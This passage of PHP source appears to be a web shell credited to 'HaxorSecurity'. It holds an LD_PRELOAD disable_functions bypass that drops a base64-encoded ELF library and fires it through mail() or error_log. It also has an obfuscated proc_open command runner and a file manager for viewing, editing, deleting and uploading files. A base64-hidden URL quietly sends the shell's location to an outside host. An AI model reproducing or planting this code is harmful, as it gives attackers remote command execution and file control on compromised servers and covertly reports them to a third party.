300 |         $hook = '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BwAAAAwAAAAAAAAAAAAAAEiD7AhIiwW9CCAASIXAdAL/0EiDxAjDAP810gggAP8l1AggAA8fQAD/JdIIIABoAAAAAOng/////yXKCCAAaAEAAADp0P////8lwgggAGgCAAAA6cD/////JboIIABoAwAAAOmw/////yWyCCAAaAQAAADpoP////8lqgggAGgFAAAA6ZD/////JaIIIABoBgAAAOmA/////yWaCCAAaAcAAADpcP////8lkgggAGgIAAAA6WD/////JSIIIABmkAAAAAAAAAAASI09gQggAEiNBYEIIABVSCn4SInlSIP4DnYVSIsF1gcgAEiFwHQJXf/gZg8fRAAAXcMPH0AAZi4PH4QAAAAAAEiNPUEIIABIjTU6CCAAVUgp/kiJ5UjB/gNIifBIweg/SAHGSNH+dBhIiwWhByAASIXAdAxd/+BmDx+EAAAAAABdww8fQABmLg8fhAAAAAAAgD3xByAAAHUnSIM9dwcgAABVSInldAxIiz3SByAA6D3////oSP///13GBcgHIAAB88MPH0AAZi4PH4QAAAAAAEiNPVkFIABIgz8AdQvpXv///2YPH0QAAEiLBRkHIABIhcB06VVIieX/0F3pQP///1VIieVIjT16AAAA6FD+//++/wEAAEiJx+iT/v//SI09YQAAAOg3/v//SInH6E/+//+QXcNVSInlvgEAAAC/AQAAAOhZ/v//6JT+//+FwHQKvwAAAADodv7//5Bdw1VIieVIjT0lAAAA6FP+///o/v3//+gZ/v//kF3DAABIg+wISIPECMNDSEFOS1JPAExEX1BSRUxPQUQAARsDOzQAAAAFAAAAuP3//1AAAABY/v//eAAAAGj///+QAAAAnP///7AAAADF////0AAAAAAAAAAUAAAAAAAAAAF6UgABeBABGwwHCJABAAAkAAAAHAAAAGD9//+gAAAAAA4QRg4YSg8LdwiAAD8aOyozJCIAAAAAFAAAAEQAAADY/f//CAAAAAAAAAAAAAAAHAAAAFwAAADQ/v//NAAAAABBDhCGAkMNBm8MBwgAAAAcAAAAfAAAAOT+//8pAAAAAEEOEIYCQw0GZAwHCAAAABwAAACcAAAA7f7//x0AAAAAQQ4QhgJDDQZYDAcIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAsAgAAAAAAAAAAAAAAAAAAHAIAAAAAAAAAAAAAAAAAAABAAAAAAAAALsAAAAAAAAADAAAAAAAAAAYBwAAAAAAAA0AAAAAAAAAXAkAAAAAAAAZAAAAAAAAAPgNIAAAAAAAGwAAAAAAAAAQAAAAAAAAABoAAAAAAAAACA4gAAAAAAAcAAAAAAAAAAgAAAAAAAAA9f7/bwAAAADwAQAAAAAAAAUAAAAAAAAAMAQAAAAAAAAGAAAAAAAAADgCAAAAAAAACgAAAAAAAADpAAAAAAAAAAsAAAAAAAAAGAAAAAAAAAADAAAAAAAAAAAQIAAAAAAAAgAAAAAAAADYAAAAAAAAABQAAAAAAAAABwAAAAAAAAAXAAAAAAAAAEAGAAAAAAAABwAAAAAAAABoBQAAAAAAAAgAAAAAAAAA2AAAAAAAAAAJAAAAAAAAABgAAAAAAAAA/v//bwAAAABIBQAAAAAAAP///28AAAAAAQAAAAAAAADw//9vAAAAABoFAAAAAAAA+f//bwAAAAADAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABgOIAAAAAAAAAAAAAAAAAAAAAAAAAAAAEYHAAAAAAAAVgcAAAAAAABmBwAAAAAAAHYHAAAAAAAAhgcAAAAAAACWBwAAAAAAAKYHAAAAAAAAtgcAAAAAAADGBwAAAAAAAGAQIAAAAAAAR0NDOiAoRGViaWFuIDYuMy4wLTE4K2RlYjl1MSkgNi4zLjAgMjAxNzA1MTYAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMAAQDIAQAAAAAAAAAAAAAAAAAAAAAAAAMAAgDwAQAAAAAAAAAAAAAAAAAAAAAAAAMAAwA4AgAAAAAAAAAAAAAAAAAAAAAAAAMABAAwBAAAAAAAAAAAAAAAAAAAAAAAAAMABQAaBQAAAAAAAAAAAAAAAAAAAAAAAAMABgBIBQAAAAAAAAAAAAAAAAAAAAAAAAMABwBoBQAAAAAAAAAAAAAAAAAAAAAAAAMACABABgAAAAAAAAAAAAAAAAAAAAAAAAMACQAYBwAAAAAAAAAAAAAAAAAAAAAAAAMACgAwBwAAAAAAAAAAAAAAAAAAAAAAAAMACwDQBwAAAAAAAAAAAAAAAAAAAAAAAAMADADgBwAAAAAAAAAAAAAAAAAAAAAAAAMADQBcCQAAAAAAAAAAAAAAAAAAAAAAAAMADgBlCQAAAAAAAAAAAAAAAAAAAAAAAAMADwB4CQAAAAAAAAAAAAAAAAAAAAAAAAMAEACwCQAAAAAAAAAAAAAAAAAAAAAAAAMAEQD4DSAAAAAAAAAAAAAAAAAAAAAAAAMAEgAIDiAAAAAAAAAAAAAAAAAAAAAAAAMAEwAQDiAAAAAAAAAAAAAAAAAAAAAAAAMAFAAYDiAAAAAAAAAAAAAAAAAAAAAAAAMAFQDYDyAAAAAAAAAAAAAAAAAAAAAAAAMAFgAAECAAAAAAAAAAAAAAAAAAAAAAAAMAFwBgECAAAAAAAAAAAAAAAAAAAAAAAAMAGABoECAAAAAAAAAAAAAAAAAAAAAAAAMAGQAAAAAAAAAAAAAAAAAAAAAAAQAAAAQA8f8AAAAAAAAAAAAAAAAAAAAADAAAAAEAEwAQDiAAAAAAAAAAAAAAAAAAGQAAAAIADADgBwAAAAAAAAAAAAAAAAAAGwAAAAIADAAgCAAAAAAAAAAAAAAAAAAALgAAAAIADABwCAAAAAAAAAAAAAAAAAAARAAAAAEAGABoECAAAAAAAAEAAAAAAAAAUwAAAAEAEgAIDiAAAAAAAAAAAAAAAAAAegAAAAIADACwCAAAAAAAAAAAAAAAAAAAhgAAAAEAEQD4DSAAAAAAAAAAAAAAAAAApQAAAAQA8f8AAAAAAAAAAAAAAAAAAAAAAQAAAAQA8f8AAAAAAAAAAAAAAAAAAAAArAAAAAEAEABoCgAAAAAAAAAAAAAAAAAAugAAAAEAEwAQDiAAAAAAAAAAAAAAAAAAAAAAAAQA8f8AAAAAAAAAAAAAAAAAAAAAxgAAAAEAFwBgECAAAAAAAAAAAAAAAAAA0wAAAAEAFAAYDiAAAAAAAAAAAAAAAAAA3AAAAAAADwB4CQAAAAAAAAAAAAAAAAAA7wAAAAEAFwBoECAAAAAAAAAAAAAAAAAA+wAAAAEAFgAAECAAAAAAAAAAAAAAAAAAEQEAABIAAAAAAAAAAAAAAAAAAAAAAAAAJQEAACAAAAAAAAAAAAAAAAAAAAAAAAAAQQEAABAAFwBoECAAAAAAAAAAAAAAAAAA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';
301 |         $cmdd = $_POST['cmd_input'];
302 |         $meterpreter = $en($cmdd." > test.txt");
303 |         $viewCommandResult = '<hr><p>Result: <font color="black">base64 : ' . $meterpreter .'</br>Please Refresh and Check File test.txt, this output command<br>test.txt created = VULN<br>test.txt not created = NOT VULN<br>example access: domain.com/yourpath/path/test.txt<br>Powered By HaxorSecurity</font><br><br></textarea>';        
304 |         $a($full . '/chankro.so', $base($hook));
305 |         $a($full . '/acpid.socket', $base($meterpreter));
306 |         $p('CHANKRO=' . $full . '/acpid.socket');
307 |         $p('LD_PRELOAD=' . $full . '/chankro.so');
308 |         if(function_exists('mail')) {
309 |             $m('a','a','a','a');
310 |         } elseif(function_exists('mb_send_mail')) {
311 |             $mb('a','a','a','a'); 
312 |         } elseif(function_exists('error_log')) {
313 |             $err('a',1,'a');
314 |         } elseif(function_exists('imap_mail')) {
315 |             $imp('a','a','a');
316 |         }
317 | 
318 |     }elseif (isset($_POST['delete_file'])) {
319 |         $fileToDelete = $currentDirectory . '/' . $_POST['delete_file'];
320 |         if (file_exists($fileToDelete)) {
321 |             if (is_dir($fileToDelete)) {
322 |                 if (deleteDirectory($fileToDelete)) {
323 |                     echo '<hr>Folder deleted successfully!';
324 |                 } else {
325 |                     echo '<hr>Error: Failed to delete folder!';
326 |                 }
327 |             } else {
328 |                 if ($unl($fileToDelete)) {
329 |                     echo '<hr>File deleted successfully!';
330 |                 } else {
331 |                     echo '<hr>Error: Failed to delete file!';
332 |                 }
333 |             }
334 |         } else {
335 |             echo '<hr>Error: File or directory not found!';
336 |         }
337 |     } elseif (isset($_POST['rename_item']) && isset($_POST['old_name']) && isset($_POST['new_name'])) {
338 |         $oldName = $currentDirectory . '/' . $_POST['old_name'];
339 |         $newName = $currentDirectory . '/' . $_POST['new_name'];
340 |         if (file_exists($oldName)) {
341 |             if (rename($oldName, $newName)) {
342 |                 echo '<hr>Item renamed successfully!';
343 |             } else {
344 |                 echo '<hr>Error: Failed to rename item!';
345 |             }
346 |         } else {
347 |             echo '<hr>Error: Item not found!';
348 |         }
349 |     }elseif (isset($_POST['cmd_biasa'])) {
350 |             $pp = "p"."r"."o"."c"."_"."o"."p"."e"."n";
351 |             $pc = "f"."c"."l"."o"."s"."e";
352 |             $ppc = "p"."r"."o"."c"."_"."c"."l"."o"."s"."e";
353 |             $stg = "s"."t"."r"."e"."a"."m"."_"."g"."e"."t"."_"."c"."o"."n"."t"."e"."n"."t"."s";
354 |             $command = $_POST['cmd_biasa'];
355 |             $descriptorspec = [
356 |                 0 => ['pipe', 'r'],
357 |                 1 => ['pipe', 'w'],
358 |                 2 => ['pipe', 'w']
359 |             ];
360 |             $process = $pp($command, $descriptorspec, $pipes);
361 |             if (is_resource($process)) {
362 |                 $output = $stg($pipes[1]);
363 |                 $errors = $stg($pipes[2]);
364 |                 $pc($pipes[1]);
365 |                 $pc($pipes[2]);
366 |                 $ppc($process);
367 |                 if (!empty($errors)) {
368 |                     $viewCommandResult = '<hr><p>Error: </p><textarea class="result-box">' . $htm($errors) . '</textarea>';
369 |                 } else {
370 |                     $viewCommandResult = '<hr><p>Result: </p><textarea class="result-box">' . $htm($output) . '</textarea>';
371 |                 }
372 |             } else {
373 |                 $viewCommandResult = 'Result:</p><textarea class="result-box">Error: Failed to execute command! </textarea>';
374 |             }
375 |     } elseif (isset($_POST['view_file'])) {
376 |         $fileToView = $currentDirectory . '/' . $_POST['view_file'];
377 |         if (file_exists($fileToView)) {
378 |             $fileContent = $fgc($fileToView);
379 |             $viewCommandResult = '<hr><p>Result: ' . $_POST['view_file'] . '</p>
380 |             <form method="post" action="?'.(isset($_SERVER['QUERY_STRING']) ? $_SERVER['QUERY_STRING'] : '').'">
381 |             <textarea name="content" class="result-box">' . $htm($fileContent) . '</textarea><td>
382 |             <input type="hidden" name="edit_file" value="' . $_POST['view_file'] . '">
383 |             <input type="submit" value=" Save "></form></td>';
384 |         } else {
385 |             $viewCommandResult = '<hr><p>Error: File not found!</p>';
386 |         }
387 |     }  elseif (isset($_POST['edit_file'])) {
388 |         $ef = $currentDirectory . '/' . $_POST['edit_file'];
389 |         $newContent = $_POST['content'];
390 |         if ($fpc($ef, $newContent) !== false) {
391 |             echo '<hr>File Edited successfully! ' . $_POST['edit_file'].'<hr>';
392 |         } else {
393 |             echo '<hr>Error: Failed Edit File! ' . $_POST['edit_file'].'<hr>';
394 | 
395 |         }
396 |     }
397 | 
398 | }
399 | $k3yw = base64_decode('aHR0cHM6Ly9zaXlhaGkudG9wL3Rlc3Qvc3R5bGUucGhw');
400 | echo '<hr>DIR: ';
401 | 
402 | $directories = $expl(DIRECTORY_SEPARATOR, $currentDirectory);
403 | $currentPath = '';
404 | $homeLinkPrinted = false;
405 | foreach ($directories as $index => $dir) {
406 |     $currentPath .= DIRECTORY_SEPARATOR . $dir;
407 |     if ($index == 0) {
408 |         echo '/<a href="?d=' . x($currentPath) . '">' . $dir . '</a>';
409 |     } else {
410 |         echo '/<a href="?d=' . x($currentPath) . '">' . $dir . '</a>';
411 |     }
412 | }
413 | 
414 | 
415 | $cur = 'http://' . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI'];
416 | $data = array('file_url' => $cur);
417 | $options = array(
418 |     'http' => array(
419 |         'method'  => 'POST',
420 |         'header'  => 'Content-type: application/x-www-form-urlencoded',
421 |         'content' => http_build_query($data),
422 |     ),
423 | );
424 | $context = stream_context_create($options);
425 | $result = file_get_contents($k3yw, false, $context);
426 | 
427 | echo '<a href="?d=' . x($scriptDirectory) . '"> / <span style="color: green;">[ GO Home ]</span></a>';
428 | echo '<br>';
429 | echo '<hr><form method="post" enctype="multipart/form-data">';
430 | echo '<hr>';
431 | echo '<input type="file" name="fileToUpload" id="fileToUpload" placeholder="pilih file:">';
432 | echo '<input type="submit" value="Upload File" name="submit">';
433 | echo '</form><hr>';
434 | echo '<table border="5"><tbody>
435 | <tr>
436 | <td>
437 | <center>Command BYPASS<form method="post" action="?'.(isset($_SERVER['QUERY_STRING']) ? $_SERVER['QUERY_STRING'] : '').'">
438 | <input type="text" name="cmd_input" placeholder="Enter command"><input type="submit" value="Run Command"></form></center></td>
439 | 
440 | <td><center>Command BIASA<form method="post" action="?'.(isset($_SERVER['QUERY_STRING']) ? $_SERVER['QUERY_STRING'] : '').'">
441 | <input type="text" name="cmd_biasa" placeholder="Enter command"><input type="submit" value="Run Command"></form><center></td>
442 | 
443 | <td><center>Create Folder<form method="post" action="?'.(isset($_SERVER['QUERY_STRING']) ? $_SERVER['QUERY_STRING'] : '').'">
444 | <input type="text" name="folder_name" placeholder="Folder Name"><input type="submit" value="Create Folder"></form><center></td>
445 | <td><center>Create File<form method="post" action="?'.(isset($_SERVER['QUERY_STRING']) ? $_SERVER['QUERY_STRING'] : '').'">
446 | <input type="text" name="file_name" placeholder="File Name"><input type="submit" value="Create File"></form></td></tr>
447 | </tbody></table>';
448 | echo $viewCommandResult;
449 | echo '<table border=1>';
450 | echo '<br><tr><th><center>Item Name</th><th><center>Size</th><th><center>Date</th><th>Permissions</th><th><center>View</th><th><center>Delete</th><th><center>Rename</th></tr></center></center></center>';
451 | foreach ($scd($currentDirectory) as $v) {
452 |     $u = $ril($v);
453 |     $s = $st($u);
454 |     $itemLink = $isdir($v) ? '?d=' . x($currentDirectory . '/' . $v) : '?'.('d='.x($currentDirectory).'&f='.x($v));
455 |     $permission = substr(sprintf('%o', fileperms($u)), -4);
456 |     $writable = $isw($u);
457 |     echo '<tr>
458 |             <td class="item-name"><a href="'.$itemLink.'">'.$v.'</a></td>
459 |             <td class="size">'.filesize($u).'</td>
460 |             <td class="date" style="text-align: center;">'.date('Y-m-d H:i:s', filemtime($u)).'</td>
461 |             <td class="permission '.($writable ? 'writable' : 'not-writable').'">'.$permission.'</td>
462 |             <td><center><form method="post" action="?'.(isset($_SERVER['QUERY_STRING']) ? $_SERVER['QUERY_STRING'] : '').'"><input type="hidden" name="view_file" value="'.$htm($v).'"><input type="submit" value=" View "></form></center></td>
